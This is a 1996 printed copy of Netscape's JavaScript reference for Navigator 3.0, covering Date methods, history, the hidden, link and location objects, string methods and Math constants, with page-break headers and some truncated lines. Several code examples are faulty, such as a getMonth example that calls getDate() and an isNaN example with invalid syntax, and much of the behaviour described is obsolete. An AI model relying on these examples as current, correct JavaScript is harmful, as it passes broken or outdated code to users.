dateObjectName.getMinutes()

dateObjectName is either the name of a date object or a property of an existing object.

Method of
Date

Description
The value returned by getMinutes is an integer between 0 and 59.

Examples
The second statement below assigns the value 15 to the variable minutes, based on the value of
the date object Xmas95.

Xmas95 = new Date("December 25, 1995 23:15:00")


minutes = Xmas95.getMinutes()

See also

· setMinutes method

getMonth method
Returns the month in the specified date.

Syntax
dateObjectName.getMonth()

dateObjectName is either the name of a date object or a property of an existing object.

Method of
Date

Description
The value returned by getMonth is an integer between zero and eleven. Zero corresponds to

16 of 20 30.08.96 17:37
wysiwyg://display.tocfr...ef_f-g.html#form_object wysiwyg://display.tocframe.5/http://www....book/javascript/ref_f-g.html#form_object

January, one to February, and so on.

Examples
The second statement below assigns the value 11 to the variable month, based on the value of the
date object Xmas95.

Xmas95 = new Date("December 25, 1995 23:15:00")


month = Xmas95.getDate()

See also

· setMonth method

getSeconds method
Returns the seconds in the current time.

Syntax
dateObjectName.getSeconds()

dateObjectName is either the name of a date object or a property of an existing object.

Method of
Date

Description
The value returned by getSeconds is an integer between 0 and 59.

Examples
The second statement below assigns the value 30 to the variable secs, based on the value of the
date object Xmas95.

Xmas95 = new Date("December 25, 1995 23:15:30")


secs = Xmas95.getSeconds()

See also

· setSeconds method

getTime method
Returns the numeric value corresponding to the time for the specified date.

Syntax
dateObjectName.getTime()

17 of 20 30.08.96 17:37
wysiwyg://display.tocfr...ef_f-g.html#form_object wysiwyg://display.tocframe.5/http://www....book/javascript/ref_f-g.html#form_object

dateObjectName is either the name of a date object or a property of an existing object.

Method of
Date

Description
The value returned by the getTime method is the number of milliseconds since 1 January 1970
00:00:00. You can use this method to help assign a date and time to another date object.

Examples
The following example assigns the date value of theBigDay to sameAsBigDay.

theBigDay = new Date("July 1, 1999")


sameAsBigDay = new Date()
sameAsBigDay.setTime(theBigDay.getTime())

See also

· setTime method

getTimezoneOffset method
Returns the time zone offset in minutes for the current locale.

Syntax
dateObjectName.getTimezoneOffset()

dateObjectName is either the name of a date object or a property of an existing object.

Method of
Date

Description
The time zone offset is the difference between local time and GMT. Daylight savings time
prevents this value from being a constant.

Examples
x = new Date()
currentTimeZoneOffsetInHours = x.getTimezoneOffset()/60

getYear method

18 of 20 30.08.96 17:37
wysiwyg://display.tocfr...ef_f-g.html#form_object wysiwyg://display.tocframe.5/http://www....book/javascript/ref_f-g.html#form_object

Returns the year in the specified date.

Syntax
dateObjectName.getYear()

dateObjectName is either the name of a date object or a property of an existing object.

Method of
Date

Description
The value returned by getYear is the year less 1900. For example, if the year is 1976, the value
returned is 76.

Examples
The second statement below assigns the value 95 to the variable year, based on the value of the
date object Xmas95.

Xmas95 = new Date("December 25, 1995 23:15:00")


year = Xmas95.getYear()

See also

· setYear method

go method
Loads a URL from the history list.

Syntax
history.go( delta | " location")

delta is an integer or a property of an existing object, representing a relative position in the history
list.
location is a string or a property of an existing object, representing all or part of a URL in the
history list.

Method of
history

Description
The go method navigates to the location in the history list determined by the argument that you
specify. You can interactively display the history list by choosing History from the Window
menu. Up to 10 items in the history list are also displayed on the Go menu.

19 of 20 30.08.96 17:37
wysiwyg://display.tocfr...ef_f-g.html#form_object wysiwyg://display.tocframe.5/http://www....book/javascript/ref_f-g.html#form_object

The delta argument is a positive or negative integer. If delta is greater than zero, the go method
loads the URL that is that number of entries forward in the history list; otherwise, it loads the
URL that is that number of entries backward in the history list. If delta is 0, Navigator reloads the
current page.

The location argument is a string. Use location to load the nearest history entry whose URL
contains location as a substring. The location to URL matching is case-insensitive. Each section
of a URL contains different information. See the location object for a description of the URL
components.

Examples
The following button navigates to the nearest history entry that contains the string
"home.netscape.com":

<P><INPUT TYPE="button" VALUE="Go"


onClick="history.go('home.netscape.com')">

The following button navigates to the URL that is three entries backward in the history list:

<P><INPUT TYPE="butto Last modified 01/01/70 01:00:00

20 of 20 30.08.96 17:37
wysiwyg://display.tocfr..._h-l.html#hidden_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_h-l.html#hidden_object

hash property
Changed in Navigator 3.0

A string beginning with a hash mark (#) that specifies an anchor name in the URL.

Syntax
1. links[ index].hash
2. location.hash

index is an integer representing a link object.

Property of
link, location

Description
The hash property specifies a portion of the URL.

You can set the hash property at any time, although it is safer to set the href property to change a
location. If the hash that you specify cannot be found in the current location, you will get an error.

See RFC 1738 for complete information about the hash.

Examples
See the examples for the anchor object and the href property.

See also

· host, hostname, href, pathname, port, protocol, search properties

hidden object
Changed in Navigator 3.0

A text object that is suppressed from form display on an HTML form. A hidden object is used for
passing name/value pairs when a form submits.

Syntax
To define a hidden object:

<INPUT
TYPE="hidden"
NAME=" hiddenName"
[VALUE=" textValue"]>

NAME="hiddenName" specifies the name of the hidden object. You can access this value using
the name property.

1 of 22 30.08.96 17:39
wysiwyg://display.tocfr..._h-l.html#hidden_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_h-l.html#hidden_object

VALUE="textValue" specifies the initial value of the hidden object.

To use a hidden object's properties:

1. hiddenName.propertyName
2. formName.elements[ index].propertyName

hiddenName is the value of the NAME attribute of a hidden object.


formName is either the value of the NAME attribute of a form object or an element in the forms
array.
index is an integer representing a hidden object on a form.
propertyName is one of the properties listed below.

Property of

· form

Description
A hidden object is a form element and must be defined within a <FORM> tag.

A hidden object cannot be seen or modified by a user, but you can programatically change the
value of the object by changing its value property. You can use hidden objects for client/server
communication.

Properties

·
·
name reflects the NAME attribute
value reflects the current value of the hidden object

Methods

· None.

Event handlers

· None.

Examples
The following example uses a hidden object to store the value of the last object the user clicked.
The form contains a "Display hidden value" button that the user can click to display the value of
the hidden object in an Alert dialog box.

<HTML>
<HEAD>
<TITLE>Hidden object example</TITLE>
</HEAD>
<BODY>
<B>Click some of these objects, then click the "Display value" button
<BR>to see the value of the last object clicked.</B>
<FORM NAME="form1">
<INPUT TYPE="hidden" NAME="hiddenObject" VALUE="None">
<P>
<INPUT TYPE="button" VALUE="Click me" NAME="button1"

2 of 22 30.08.96 17:39
wysiwyg://display.tocfr..._h-l.html#hidden_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_h-l.html#hidden_object

onClick="document.form1.hiddenObject.value=this.value">
<P>
<INPUT TYPE="radio" NAME="musicChoice" VALUE="soul-and-r&b"
onClick="document.form1.hiddenObject.value=this.value"> Soul and R&B
<INPUT TYPE="radio" NAME="musicChoice" VALUE="jazz"
onClick="document.form1.hiddenObject.value=this.value"> Jazz
<INPUT TYPE="radio" NAME="musicChoice" VALUE="classical"
onClick="document.form1.hiddenObject.value=this.value"> Classical
<P>
<SELECT NAME="music_type_single"
onFocus="document.form1.hiddenObject.value=this.options[this.selectedIndex].text">
<OPTION SELECTED> Red <OPTION> Orange <OPTION> Yellow
</SELECT>
<P><INPUT TYPE="button" VALUE="Display hidden value" NAME="button2"
onClick="alert('Last object clicked: ' + document.form1.hiddenObject.value)">
</FORM>
</BODY>
</HTML>

See also

· cookie property

history object
Contains information on the URLs that the client has visited within a window. This information is
stored in a history list, and is accessible through the Navigator's Go menu.

Syntax
To use a history object:

1. history. propertyName
2. history. methodName(parameters)

propertyName is one of the properties listed below.


methodName is one of the methods listed below.

Property of

· document

Description
The history object is a linked list of URLs the user has visited, as shown in the Navigator's Go
menu.

Properties

· length reflects the number of entries in the history object

Methods

·
·
back
forward

3 of 22 30.08.96 17:39
wysiwyg://display.tocfr..._h-l.html#hidden_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_h-l.html#hidden_object

· go

Event handlers

· None.

Examples

Example 1. The following example goes to the URL the user visited three clicks ago in the
current window.

history.go(-3)

Example 2. You can use the history object with a specific window or frame. The following
example causes window2 to go back one item in its window (or session) history:

window2.history.back()

Example 3. The following example causes the second frame in a frameset to go back one item:

parent.frames[1].history.back()

Example 4. The following example causes the frame named frame1 in a frameset to go back one
item:

parent.frame1.history.back()

Example 5. The following example causes the frame named frame2 in window2 to go back one
item:

window2.frame2.history.back()

See also

· location object

host property
Changed in Navigator 3.0

A string specifying the hostname:port portion of the URL.

Syntax
1. links[ index].host
2. location.host

index is an integer representing a link object.

Property of
link, location

Description

4 of 22 30.08.96 17:39
wysiwyg://display.tocfr..._h-l.html#hidden_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_h-l.html#hidden_object

The host property specifies a portion of the URL. The host property is the concatenation of the
hostname and port properties, separated by a colon. When the port property is null, the host
property is the same as the hostname property.

You can set the host property at any time, although it is safer to set the href property to change a
location. If the host that you specify cannot be found in the current location, you will get an error.

See Section 3.1 of RFC 1738 for complete information about the hostname and port.

Examples
See the examples for the href property.

See also

· hash, hostname, href, pathname, port, protocol, search properties

hostname property
Changed in Navigator 3.0

A string specifying the host and domain name, or IP address, of a network host.

Syntax
1. links[ index].hostname
2. location.hostname

index is an integer representing a link object.

Property of
link, location

Description
The hostname property specifies a portion of the URL. The hostname property is a substring of
the host property. The host property is the concatenation of the hostname and port properties,
separated by a colon. When the port property is null, the host property is the same as the
hostname property.

You can set the hostname property at any time, although it is safer to set the href property to
change a location. If the hostname that you specify cannot be found in the current location, you
will get an error.

See Section 3.1 of RFC 1738 for complete information about the hostname.

Examples
See the examples for the href property.

5 of 22 30.08.96 17:39
wysiwyg://display.tocfr..._h-l.html#hidden_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_h-l.html#hidden_object

See also

· hash, host, href, pathname, port, protocol, search properties

href property
Changed in Navigator 3.0

A string specifying the entire URL.

Syntax
1. links[ index].href
2. location.href

index is an integer representing a link object.

Property of
link, location

Description
The href property specifies the entire URL. Other location object properties are substrings of the
href property. You can set the href property at any time.

Omitting a property name from the location object is equivalent to specifying location.href .
For example, the following two statements are equivalent and set the URL of the current window
to the Netscape home page:

window.location.href="http://www.netscape.com/"
window.location="http://www.netscape.com/"

See RFC 1738 for complete information about the URL.

Examples
In the following example, the window.open statement creates a window called newWindow and
loads the specified URL into it. The document.write statements display all the properties of
newWindow.location in a window called msgWindow.

newWindow=window.open
("http://home.netscape.com/comprod/products/navigator/
version_2.0/script/script_info/objects.html#checkbox_object")

msgWindow.document.write("newWindow.location.href = " +
newWindow.location.href + "<P>")
msgWindow.document.write("newWindow.location.protocol = " +
newWindow.location.protocol + "<P>")
msgWindow.document.write("newWindow.location.host = " +
newWindow.location.host + "<P>")
msgWindow.document.write("newWindow.location.hostName = " +
newWindow.location.hostName + "<P>")
msgWindow.document.write("newWindow.location.port = " +
newWindow.location.port + "<P>")
msgWindow.document.write("newWindow.location.pathname = " +

6 of 22 30.08.96 17:39
wysiwyg://display.tocfr..._h-l.html#hidden_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_h-l.html#hidden_object

newWindow.location.pathname + "<P>")
msgWindow.document.write("newWindow.location.search = " +
newWindow.location.search + "<P>")
msgWindow.document.write("newWindow.location.hash = " +
newWindow.location.hash + "<P>")
msgWindow.document.close()

The previous example displays output such as the following:

newWindow.location.href =
http://home.netscape.com/comprod/products/navigator/
version_2.0/script/script_info/objects.html#checkbox_object
newWindow.location.protocol = http:
newWindow.location.host = home.netscape.com
newWindow.location.hostName = home.netscape.com
newWindow.location.port =
newWindow.location.pathname =
/comprod/products/navigator/version_2.0/script/
script_info/objects.html
newWindow.location.search =
newWindow.location.hash = #checkbox_object

See also

· hash, host, hostname, pathname, port, protocol, search properties

index property
Changed in Navigator 3.0

An integer representing the index of an option in a select object.

Syntax
selectName.options[ indexValue].index

selectName is either the value of the NAME attribute of a select object or an element in the
elements array.
indexValue is an integer representing an option in a select object.

Property of
options array

Description
The number identifying the position of the option in the selection, starting from zero.

See also

· defaultSelected, selected, selectedIndex properties

indexOf method

7 of 22 30.08.96 17:39
wysiwyg://display.tocfr..._h-l.html#hidden_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_h-l.html#hidden_object

Returns the index within the calling string object of the first occurrence of the specified value,
starting the search at fromIndex.

Syntax
stringName.indexOf( searchValue, [fromIndex])

stringName is any string or a property of an existing object.


searchValue is a string or a property of an existing object, representing the value to search for.
fromIndex is the location within the calling string to start the search from. It can be any integer
from 0 to stringName.length - 1 or a property of an existing object.

Method of
string

Description
Characters in a string are indexed from left to right. The index of the first character is 0, and the
index of the last character is stringName.length - 1.

If you do not specify a value for fromIndex, JavaScript assumes 0 by default. If searchValue is
not found, JavaScript returns -1.

Examples
The following example uses indexOf and lastIndexOf to locate values in the string "Brave new
world".

var anyString="Brave new world"

//Displays 8
document.write("<P>The index of the first w from the beginning is " +
anyString.indexOf("w"))
//Displays 10
document.write("<P>The index of the first w from the end is " +
anyString.lastIndexOf("w"))
//Displays 6
document.write("<P>The index of 'new' from the beginning is " +
anyString.indexOf("new"))
//Displays 6
document.write("<P>The index of 'new' from the end is " +
anyString.lastIndexOf("new"))

See also

· charAt, lastIndexOf methods

isNaN function
Changed in Navigator 3.0

On Unix platforms, evaluates an argument to determine if it is "NaN" (not a number).

8 of 22 30.08.96 17:39
wysiwyg://display.tocfr..._h-l.html#hidden_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_h-l.html#hidden_object

Syntax
isNaN( testValue)

testValue is the value you want to evaluate.

Description
The isNaN function is a built-in JavaScript function. It is not a method associated with any object,
but is part of the language itself. isNaN is available on Unix platforms only.

On all platforms except Windows, the parseFloat and parseInt functions return "NaN" when they
evaluate a value that is not a number. The "NaN" value is not a number in any radix. You can call
the isNaN function to determine if the result of parseFloat or parseInt is "NaN". If "NaN" is
passed on to arithmetic operations, the operation results will also be "NaN".

The isNaN function returns true or false.

Examples
The following example evaluates floatValue to determine if it is a number, then calls a procedure
accordingly.

floatValue=parseFloat(toFloat)

if isNaN(floatValue) {
notFloat()
} else {
isFloat()
}

See also

· parseFloat, parseInt functions

italics method
Causes a string to be italicized as if it were in an <I> tag.

Syntax
stringName.italics()

stringName is any string or a property of an existing object.

Method of
string

Description
Use the italics method with the write or writeln methods to format and display a string in a
document.

9 of 22 30.08.96 17:39
wysiwyg://display.tocfr..._h-l.html#hidden_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_h-l.html#hidden_object

Examples
The following example uses string methods to change the formatting of a string:

var worldString="Hello, world"

document.write(worldString.blink())
document.write("<P>" + worldString.bold())
document.write("<P>" + worldString.italics())
document.write("<P>" + worldString.strike())

The previous example produces the same output as the following HTML:

<BLINK>Hello, world</BLINK>
<P><B>Hello, world</B>
<P><I>Hello, world</I>
<P><STRIKE>Hello, world</STRIKE>

See also

· blink, bold, strike methods

lastIndexOf method
Returns the index within the calling string object of the last occurrence of the specified value. The
calling string is searched backwards, starting at fromIndex.

Syntax
stringName.lastIndexOf( searchValue, [fromIndex])

stringName is any string or a property of an existing object.


searchValue is a string or a property of an existing object, representing the value to search for.
fromIndex is the location within the calling string to start the search from. It can be any integer
from 0 to stringName.length - 1 or a property of an existing object.

Method of
string

Description
Characters in a string are indexed from left to right. The index of the first character is 0, and the
index of the last character is stringName.length - 1.

If you do not specify a value for fromIndex, JavaScript assumes stringName.length - 1 (the end of
the string) by default. If searchValue is not found, JavaScript returns -1.

Examples
The following example uses indexOf and lastIndexOf to locate values in the string "Brave new
world".

10 of 22 30.08.96 17:39
wysiwyg://display.tocfr..._h-l.html#hidden_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_h-l.html#hidden_object

var anyString="Brave new world"

//Displays 8
document.write("<P>The index of the first w from the beginning is " +
anyString.indexOf("w"))
//Displays 10
document.write("<P>The index of the first w from the end is " +
anyString.lastIndexOf("w"))
//Displays 6
document.write("<P>The index of 'new' from the beginning is " +
anyString.indexOf("new"))
//Displays 6
document.write("<P>The index of 'new' from the end is " +
anyString.lastIndexOf("new"))

See also

· charAt, indexOf methods

lastModified property
A string representing the date that a document was last modified.

Syntax
document.lastModified

Property of
document

Description
lastModified is a read-only property.

Examples
In the following example, the lastModified property is used in a <SCRIPT> tag at the end of an
HTML file to display the modification date of the page:

document.write("This page updated on " + document.lastModified)

length property
Changed in Navigator 3.0

An integer that specifies a length-related feature of the calling object or array.

Syntax
When used with objects:

11 of 22 30.08.96 17:39
wysiwyg://display.tocfr..._h-l.html#hidden_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_h-l.html#hidden_object

1. formName.length
2. frameReference.length
3. history.length
4. radioName.length
5. selectName.length
6. stringName.length
7. windowReference.length

When used with array properties:

8. anchors.length
9. elements.length
10. forms.length
11. frameReference.frames.length
12. windowReference.frames.length
13. links.length
14. selectName.options.length

formName is either the name of a form or an element in the forms array.


frameReference is either the value of the NAME attribute of a frame or an element in the frames
array.
radioName is either the value of the NAME attribute of a radio object or an element in the
elements array.
selectName is either the value of the NAME attribute of a select object or an element in the
elements array.
stringName is any string or a property of an existing object.
windowReference is a valid way of referring to a window, as described in the window object.

Property of

·
·
frame, history, radio, select, string, window objects
anchors, elements, forms, frames, links, options arrays

Description
The length property is an integer that specifies one of the following:
·
·
The number of elements on a form (form 1 of the syntax).
The number of frames within a frame (form 2 of the syntax). A frame that does not load a
document containing a <FRAMESET> tag always has a length of 0.
·
·
The number of entries in a history object (form 3 of the syntax).
The number of radio buttons in a radio object (form 4 of the syntax).
·
·
The number of options in a select object (form 5 of the syntax).
The length of a string object (form 6 of the syntax).
·
·
The number of frames in a parent window (form 7 of the syntax).
The number of entries in one of the array properties (all other syntax forms).

length is always a read-only property.

For a null string, length is zero. For a select object, the values returned by form 5 and form 14 of
the syntax are the same. For a window containing frames, the values returned by form 7 and form
12 of the syntax are the same. For a form object, the values returned by form 1 and form 9 of the
syntax are the same. For a frame containing frames, the values returned by form 2 and form 11 of
the syntax are the same.

12 of 22 30.08.96 17:39
wysiwyg://display.tocfr..._h-l.html#hidden_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_h-l.html#hidden_object

Examples
In the following example, the getChoice() function uses the length property to iterate over every
element in the musicType array. musicType is a select element on the musicForm form.

function getChoice() {
for (var i = 0; i < document.musicForm.musicType.length; i++) {
if (document.musicForm.musicType.options[i].selected == true) {
return document.musicForm.musicType.options[i].text
}
}
}

The following example displays 8 in an alert dialog box:

var x="Netscape"
alert("The string length is " + x.length)

link method
Creates an HTML hypertext link that jumps to another URL.

Syntax
linkText.link( hrefAttribute)

linkText is any string or a property of an existing object.


hrefAttribute is any string or a property of an existing object.

Method of
string

Description
Use the link method with the write or writeln methods to programatically create and display a
hypertext link in a document. Create the link with the link method, then call write or writeln to
display the link in a document.

In the syntax, the linkText string represents the literal text that you want the user to see. The
hrefAttribute string represents the HREF attribute of the <A> tag, and it should be a valid URL.
Each section of a URL contains different information. See the location object for a description of
the URL components.

Links created with the link method become elements in the links array. See the link object for
information about the links array.

Examples
The following example displays the word "Netscape" as a hypertext link that returns the user to
the Netscape home page:

var hotText="Netscape"

13 of 22 30.08.96 17:39
wysiwyg://display.tocfr..._h-l.html#hidden_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_h-l.html#hidden_object

var URL="http://www.netscape.com"

document.open()
document.write("Click to return to " + hotText.link(URL))
document.close()

The previous example produces the same output as the following HTML:

Click to return to <A HREF="http://www.netscape.com">Netscape</A>

See also

· anchor method

link object (links array)


Changed in Navigator 3.0

A piece of text or an image identified as a hypertext link. When the user clicks the link text, the
link hypertext reference is loaded into its target window.

Syntax
To define a link, use standard HTML syntax with the addition of the onClick and onMouseOver
event handlers:

<A HREF= locationOrURL


[NAME=" anchorName"]
[TARGET=" windowName"]
[onClick=" handlerText"]
[onMouseOver=" handlerText"]>
linkText
</A>

HREF=locationOrURL identifies a destination anchor or URL. See the location object for a
description of the URL components.
NAME="anchorName" specifies a tag that becomes an available hypertext target within the
current document. If this attribute is present, the link object is also an anchor object. See anchor
for details.
TARGET="windowName" specifies the window that the link is loaded into. windowName can be
an existing window; it can be a frame name specified in a <FRAMESET> tag; or it can be one of
the literal frame names _top, _parent, _self, or _blank; it cannot be a JavaScript expression (for
example, it cannot be parent.frameName or windowName.frameName).
linkText is rendered as a hypertext link to the URL.

You can also define a link using the link method.

To use a link object's properties:

document.links[ index].propertyName

index is an integer representing a link object.


propertyName is one of the properties listed below.

14 of 22 30.08.96 17:39
wysiwyg://display.tocfr..._h-l.html#hidden_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_h-l.html#hidden_object

Property of

· document

Description
Each link object is a location object and has the same properties as a location object.

If a link object is also an anchor object, the object has entries in both the anchors and links arrays.

When a user clicks a link object and navigates to the destination document (specified by
HREF=locationOrURL), the destination document's referrer property contains the URL of the
source document. Evaluate the referrer property from the destination document.

The links array

You can reference the link objects in your code by using the links array. This array contains an
entry for each link object (<A HREF=""> tag) in a document in source order. For example, if a
document contains three link objects, these links are reflected as document.links[0] ,
document.links[1] , and document.links[2] .

To use the links array:

1. document.links[ index]
2. document.links.length

index is an integer representing a link in a document.

To obtain the number of links in a document, use the length property: document.links.length .

Elements in the links array are read-only. For example, the statement
document.links[0]="link1" has no effect.

Properties
The link object has the following properties:
·
·
hash specifies an anchor name in the URL
host specifies the hostname:port portion of the URL
·
·
hostname specifies the host and domain name, or IP address, of a network host
href specifies the entire URL
·
·
pathname specifies the url-path portion of the URL
port specifies the communications port that the server uses for communications
·
·
protocol specifies the beginning of the URL, including the colon
search specifies a query
· target reflects the TARGET attribute

The links array has the following properties:


· length reflects the number of links in a document

Methods

· None.

15 of 22 30.08.96 17:39
wysiwyg://display.tocfr..._h-l.html#hidden_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_h-l.html#hidden_object

Event handlers

·
·
onClick
onMouseOver

Examples

Example 1. The following example creates a hypertext link to an anchor named javascript_intro.

<A HREF="#javascript_intro">Introduction to JavaScript</A>

Example 2. The following example creates a hypertext link to an anchor named numbers in the
file DOC3.HTML in the window window2. If window2 does not exist, it is created.

<LI><A HREF="doc3.html#numbers" TARGET="window2">Numbers</A>

Example 3. The following example takes the user back x entries in the history list:

<A HREF="javascript:history.go(-1 * x)">Click here</A>

Example 4. The following example creates a hypertext link to a URL. A set of radio buttons lets
the user choose between three URLs. The link's onClick event handler sets the URL (the link's
href property) based on the selected radio button. The link also has an onMouseOver event
handler that changes the window's status property. As the example shows, you must return true to
set the window.status property in the onMouseOver event handler.

<SCRIPT>
var destHREF="'http://www.netscape.com/"
</SCRIPT>
<FORM NAME="form1">
<B>Choose a destination from the following list, then click "Click me" below.</B>
<BR><INPUT TYPE="radio" NAME="destination" VALUE="netscape"
onClick="destHREF='http://www.netscape.com/'"> Netscape home page
<BR><INPUT TYPE="radio" NAME="destination" VALUE="sun"
onClick="destHREF='http://www.sun.com/'"> Sun home page
<BR><INPUT TYPE="radio" NAME="destination" VALUE="rfc1867"
onClick="destHREF='http://www.ics.uci.edu/pub/ietf/html/rfc1867.txt'"> RFC 1867
<P><A HREF=""
onMouseOver="window.status='Click this if you dare!'; return true"
onClick="this.href=destHREF">
<B>Click me</B></A>
</FORM>

Example 5: links array. The following example opens the Netscape home page in the
newWindow window. The linkGetter() function uses the links array to display the value of each of
its links.

newWindow=window.open("http://www.netscape.com")

function linkGetter() {
msgWindow=window.open("")
for (var i = 0; i < newWindow.document.links.length; i++) {
msgWindow.document.write(newWindow.document.links[i] + "<BR>")
}
}

See also

· anchor object

16 of 22 30.08.96 17:39
wysiwyg://display.tocfr..._h-l.html#hidden_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_h-l.html#hidden_object

· link method

linkColor property
A string specifying the color of the document hyperlinks.

Syntax
document.linkColor

Property of
document

Description
The linkColor property is expressed as a hexadecimal RGB triplet or as one of the string literals
listed in Color Values. This property is the JavaScript reflection of the LINK attribute of the
<BODY> tag. The default value of this property is set by the user on the Colors tab of the
Preferences dialog box, which is displayed by choosing General Preferences from the Options
menu. You cannot set this property after the HTML source has been through layout.

If you express the color as a hexadecimal RGB triplet, you must use the format rrggbb. For
example, the hexadecimal RGB values for salmon are red=FA, green=80, and blue=72, so the
RGB triplet for salmon is "FA8072".

Examples
The following example sets the color of document links to aqua using a string literal:

document.linkColor="aqua"

The following example sets the color of document links to aqua using a hexadecimal triplet:

document.linkColor="00FFFF"

See also

· alinkColor, bgColor, fgColor, and vlinkColor properties

links property
An array of objects corresponding to link objects in source order. See link object.

LN2 property
The natural logarithm of two, approximately 0.693.

Syntax

17 of 22 30.08.96 17:39
wysiwyg://display.tocfr..._h-l.html#hidden_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_h-l.html#hidden_object

Math.LN2

Property of
Math

Description
Because LN2 is a constant, it is a read-only property of Math.

Examples
The following example displays the natural log of 2:

document.write("The natural log of 2 is " + Math.LN2)

See also

· E, LN10, LOG2E, LOG10E, PI, SQRT1_2, SQRT2 properties

LN10 property
The natural logarithm of ten, approximately 2.302.

Syntax
Math.LN10

Property of
Math

Description
Because LN10 is a constant, it is a read-only property of Math.

Examples
The following example displays the natural log of 10:

document.write("The natural log of 10 is " + Math.LN10)

See also

· E, LN2, LOG2E, LOG10E, PI, SQRT1_2, SQRT2 properties

location object
Changed in Navigator 3.0

18 of 22 30.08.96 17:39
wysiwyg://display.tocfr..._h-l.html#hidden_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_h-l.html#hidden_object

Contains information on the current URL.

Syntax
To use a location object:

[windowReference.]location[. propertyName]

windowReference is a variable windowVar from a window definition (see window object), or one
of the synonyms top or parent.
propertyName is one of the properties listed below. Omitting the property name is equivalent to
specifying the href property (the complete URL).

Property of

· window

Description
The location object represents a complete URL. Each property of the location object represents a
different portion of the URL.

The following diagram of a URL shows the relationships between the location properties:

protocol//hostname:port pathname search hash

protocol represents the beginning of the URL, up to and including the first colon.
hostname represents the host and domain name, or IP address, of a network host.
port represents the communications port that the server uses for communications.
pathname represents the url-path portion of the URL.
search represents any query information in the URL, beginning with a question mark.
hash represents an anchor name fragment in the URL, beginning with a hash mark (#).

See the properties (listed below) for details about the different parts of the URL, or the href
property for examples.

The location object has two other properties not shown in the diagram above:

href represents a complete URL.


host represents the concatenation hostname:port.

The location object is contained by the window object and is within its scope. If you reference a
location object without specifying a window, the location object represents the current location. If
you reference a location object and specify a window name, for example,
windowReference.location. propertyName, the location object represents the location of the
specified window.

Do not confuse the location object with the location property of the document object. You cannot
change the value of the location property (document.location ), but you can change the value of
the location object's properties (window.location. propertyName). document.location is a
string-valued property that usually matches what window.location.href is set to when you load
the document, but redirection may change it.

19 of 22 30.08.96 17:39
wysiwyg://display.tocfr..._h-l.html#hidden_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_h-l.html#hidden_object

Syntax for common URL types


When you specify a URL, you can use standard URL formats and JavaScript statements. The
following list shows the syntax for specifying some of the most common types of URLs.
URL type Protocol Example
JavaScript code javascript: javascript:history.go(-1)
Navigator info about: about:cache
World Wide Web http: http://www.netscape.com/
File file: file:///javascript/methods.html
FTP ftp: ftp://ftp.mine.com/home/mine
MailTo mailto: mailto:info@netscape.com
Usenet news: news://news.scruznet.com/comp.lang.javascript
Gopher gopher: gopher.myhost.com

The javascript: protocol evaluates the expression after the colon (:), if there is one, and loads a
page containing the string value of the expression, unless it is undefined. If the expression
evaluates to undefined, no new page loads.

The about: protocol provides information on Navigator and has the following syntax:

about:[cache|plugins]

about: by itself is the same as choosing About Netscape from the Navigator's Help menu.
about:cache displays disk cache statistics.
about:plug-ins displays information about plug-ins you have configured. This is the same as
choosing About Plug-ins from the Navigator's Help menu.

Properties

·
·
hash specifies an anchor name in the URL
host specifies the hostname:port portion of the URL
·
·
hostname specifies the host and domain name, or IP address, of a network host
href specifies the entire URL
·
·
pathname specifies the url-path portion of the URL
port specifies the communications port that the server uses for communications
·
·
protocol specifies the beginning of the URL, including the colon
search specifies a query

Methods

· None.

Event handlers

· None.

Examples

Example 1. The following two statements are equivalent and set the URL of the current window
to the Netscape home page:

20 of 22 30.08.96 17:39
wysiwyg://display.tocfr..._h-l.html#hidden_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_h-l.html#hidden_object

window.location.href="http://www.netscape.com/"
window.location="http://www.netscape.com/"

Example 2. The following statement sets the URL of a frame named frame2 to the Sun home
page:

parent.frame2.location.href="http://www.sun.com/"

See also the example for the anchor object.

See also

·
·
history object
URL property

log method
Returns the natural logarithm (base e) of a number.

Syntax
Math.log( number)

number is any positive numeric expression or a property of an existing object.

Method of
Math

Description
If the value of number is outside the suggested range, the return value is always
-1.797693134862316e+308.

Examples
//Displays the value 2.302585092994046
document.write("The natural log of 10 is " + Math.log(10))

//Displays the value 0


document.write("<P>The natural log of 1 is " + Math.log(1))

//Displays the value -1.797693134862316e+308


//because the argument is out of range
document.write("<P>The natural log of 0 is " + Math.log(0))

See also

· exp, pow methods

LOG2E property

21 of 22 30.08.96 17:39
wysiwyg://display.tocfr..._h-l.html#hidden_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_h-l.html#hidden_object

The base 2 logarithm of e (approximately 1.442).

Syntax
Math.LOG2E

Property of
Math

Description
Because LOG2E is a constant, it is a read-only property of Math.

Examples
The following example displays the base 2 logarithm of E:

document.write("The base 2 logarithm of E is " + Math.LOG2E)

See also

· E, LN2, LN10, LOG10E, PI, SQRT1_2, SQRT2 properties

LOG10E property
The base 10 logarithm of e (approximately 0.434).

Syntax
Math.LOG10E

Property of
Math

Description
Because LOG10E is a constant, it is a read-only property of Math.

Examples
The following example displays the base 10 logarithm of E:

document.write("The base 10 logarithm of E is " + Math.LOG10E)

See also

· E, LN2, LN10, LOG2E, PI, <A HREF="ref_s-s.htLast modified 01/01/70 01:00:00

22 of 22 30.08.96 17:39
wysiwyg://display.tocfr...ef_m-q.html#Math_object wysiwyg://display.tocframe.5/http://www....book/javascript/ref_m-q.html#Math_object

Math object
Changed in Navigator 3.0

A built-in object that has properties and methods for mathematical constants and functions. For
example, the Math object's PI property has the value of pi.

Syntax
To use a Math object:

1. Math. propertyName
2. Math. methodName(parameters)

